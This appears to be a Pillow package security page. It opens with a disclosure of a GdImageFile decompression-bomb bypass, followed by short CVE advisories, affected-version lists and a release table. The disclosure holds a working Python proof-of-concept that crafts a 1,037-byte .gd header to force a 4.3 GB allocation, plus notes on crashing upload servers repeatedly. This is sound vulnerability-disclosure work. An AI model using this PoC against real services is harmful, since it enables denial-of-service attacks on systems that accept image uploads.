# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field Value
Maximum width from header 65,535 (unsigned 16-bit)
Maximum height from header 65,535 (unsigned 16-bit)
Maximum pixel count 65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold 178,956,970 (2 × MAXIMAGEPIXELS)
Overshoot ratio 24× above DecompressionBombError threshold
Memory at max dimensions ≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size 1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output: ``` [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No decompressionbomb_check called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only ```

Verified live on Pillow 12.2.0.

Two attack paths:

Path File size Effect
Transient (header only) 1,037 bytes load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data) ~4.3 GB load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario: ```python from PIL import GdImageFile

Application accepts user-uploaded .gd files

img = GdImageFile.open(useruploadedfile) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation ```

Impact

  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Affected versions: ["12.2.0", "12.1.1", "12.1.0", "12.0.0", "11.3.0", "11.2.1", "11.2.0", "11.1.0", "11.0.0", "10.4.0", "10.3.0", "10.2.0", "10.1.0", "10.0.1", "10.0.0", "9.5.0", "9.4.0", "9.3.0", "9.2.0", "9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Buffer Copy without Checking Size of Input in Pillow

Published date: 2022-05-24T17:05:33Z
CVE: CVE-2020-5311
Links:

libImaging/SgiRleDecode.c in Pillow before 6.2.2 has an SGI buffer overflow.

Affected versions: ["6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow Integer overflow in Map.c

Published date: 2018-07-24T20:08:27Z
CVE: CVE-2016-9189
Links:

Pillow before 3.3.2 allows context-dependent attackers to obtain sensitive information by using the crafted image file approach, related to an Integer Overflow issue affecting the Image.core.map_buffer in map.c component.

Affected versions: ["3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Integer overflow in Pillow

Published date: 2021-11-03T18:04:41Z
CVE: CVE-2020-5310
Links:

libImaging/TiffDecode.c in Pillow before 6.2.2 has a TIFF decoding integer overflow, related to realloc.

Affected versions: ["6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow has an integer overflow when processing fonts

Published date: 2026-05-04T20:18:45Z
CVE: CVE-2026-42308
Links:

If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.

Affected versions: ["12.1.1", "12.1.0", "12.0.0", "11.3.0", "11.2.1", "11.2.0", "11.1.0", "11.0.0", "10.4.0", "10.3.0", "10.2.0", "10.1.0", "10.0.1", "10.0.0", "9.5.0", "9.4.0", "9.3.0", "9.2.0", "9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

PIL and Pillow Vulnerable to Symlink Attack on Tmpfiles

Published date: 2022-05-17T02:39:13Z
CVE: CVE-2014-1932
Links:

The (1) load_djpeg function in JpegImagePlugin.py, (2) Ghostscript function in EpsImagePlugin.py, (3) load function in IptcImagePlugin.py, and (4) _copy function in Image.py in Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.3.1 do not properly create temporary files, which allow local users to overwrite arbitrary files and obtain sensitive information via a symlink attack on the temporary file.

Affected versions: ["2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

109 Other Versions

Version License Security Released
5.1.0 HPND AND Other/Proprietary License 24 2018-04-02 - 19:49 over 8 years
5.0.0 HPND AND Other/Proprietary License 24 2018-01-01 - 21:09 almost 9 years
4.3.0 HPND 24 2017-10-02 - 15:28 about 9 years
4.2.1 HPND 23 2017-07-06 - 20:52 over 9 years
4.2.0 HPND 23 2017-07-01 - 16:01 over 9 years
4.1.1 HPND 22 2017-04-28 - 16:51 over 9 years
4.1.0 HPND 22 2017-04-04 - 20:24 over 9 years
4.0.0 HPND 22 2017-01-02 - 12:33 almost 10 years
3.4.2 HPND 22 2016-10-18 - 21:04 almost 10 years
3.4.1 HPND 22 2016-10-04 - 15:42 about 10 years
3.4.0 HPND 22 2016-10-03 - 16:29 about 10 years
3.3.3 HPND 22 2016-10-04 - 14:55 about 10 years
3.3.2 HPND 22 2016-10-03 - 15:07 about 10 years
3.3.1 HPND 23 2016-08-18 - 16:40 about 10 years
3.3.0 HPND 23 2016-07-01 - 16:14 over 10 years
3.2.0 HPND 23 2016-04-01 - 18:52 over 10 years
3.1.2 HPND 23 2016-04-01 - 13:09 over 10 years
3.1.1 HPND 24 2016-02-04 - 17:34 over 10 years
3.1.0 HPND 27 2016-01-04 - 19:36 almost 11 years
3.1.0.rc1 HPND 27 2016-01-01 - 16:21 almost 11 years
3.1.0rc1 HPND 27 2016-01-02 - 09:54 almost 11 years
3.0.0 HPND 27 2015-10-01 - 22:08 about 11 years
2.9.0 HPND 27 2015-07-01 - 22:04 over 11 years
2.8.2 HPND 27 2015-06-08 - 00:37 over 11 years
2.8.1 HPND 27 2015-04-02 - 18:07 over 11 years
2.8.0 HPND 27 2015-04-01 - 21:05 over 11 years
2.7.0 HPND 27 2015-01-01 - 22:11 almost 12 years
2.6.2 HPND 28 2015-01-01 - 22:15 almost 12 years
2.6.1 HPND 28 2014-10-13 - 18:17 about 12 years
2.6.0 HPND 28 2014-10-01 - 18:29 about 12 years
2.5.3 HPND 28 2014-08-18 - 20:01 about 12 years
2.5.2 HPND 29 2014-08-13 - 17:44 about 12 years
2.5.1 HPND 30 2014-07-11 - 17:41 over 12 years
2.5.0 HPND 30 2014-07-02 - 19:06 over 12 years
2.4.0 HPND 29 2014-04-02 - 17:54 over 12 years
2.3.2 HPND 29 2014-08-13 - 16:35 about 12 years
2.3.1 HPND 30 2014-03-15 - 12:31 over 12 years
2.3.0 HPND 31 2014-01-03 - 00:03 almost 13 years
2.2.2 HPND 31 2013-12-19 - 20:23 almost 13 years
2.2.1 HPND 31 2013-10-03 - 11:40 about 13 years
2.2.0 HPND 31 2013-10-02 - 11:20 about 13 years
2.1.0 HPND 31 2013-07-03 - 00:50 over 13 years
2.0.0 HPND 31 2013-03-15 - 23:13 over 13 years
1.7.8 UNKNOWN 31 2012-11-01 - 22:16 almost 14 years
1.7.7 UNKNOWN 31 2012-04-09 - 10:18 over 14 years
1.7.6 UNKNOWN 31 2012-01-21 - 06:27 over 14 years
1.7.5 UNKNOWN 31 2011-09-08 - 03:43 about 15 years
1.7.4 UNKNOWN 31 2011-07-21 - 17:34 about 15 years
1.7.3 UNKNOWN 31 2011-07-21 - 05:47 about 15 years
1.7.2 UNKNOWN 31 2011-06-02 - 19:14 over 15 years